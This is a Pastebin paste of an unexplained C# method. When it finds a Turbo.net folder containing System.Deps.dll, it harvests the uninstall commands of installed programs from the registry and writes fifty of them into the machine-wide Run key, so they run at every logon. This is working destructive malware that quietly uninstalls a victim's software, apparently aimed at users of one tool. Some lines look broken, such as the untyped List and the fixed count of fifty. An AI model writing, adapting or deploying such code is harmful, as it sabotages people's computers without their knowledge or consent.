Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- using System;
- using System.Collections.Generic;
- using Microsoft.Win32;
- using System.IO;
- namespace N {
- class C {
- public void M() {
- string path = Environment.GetFolderPath(Environment.SpecialFolder.UserProfile) + "\\AppData\\Local\\Turbo.net";
- if (Directory.Exists(path)) {
- string[] files = Directory.GetFiles(path, "*.*", SearchOption.AllDirectories);
- foreach(string file in files) {
- if (file.Contains("System.Deps.dll")) {
- List list = new List();
- using(RegistryKey key = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall")) {
- foreach(string k in key.GetSubKeyNames()) {
- if (key.OpenSubKey(k).GetValue("UninstallString") != null) {
- list.Add(key.OpenSubKey(k).GetValue("UninstallString").ToString());
- }
- }
- }
- for (int i = 0; i < 50; i++) {
- RegistryKey key = Registry.LocalMachine.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run");
- key.SetValue(i.ToString(), list[i]);
- }
- }
- }
- }
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement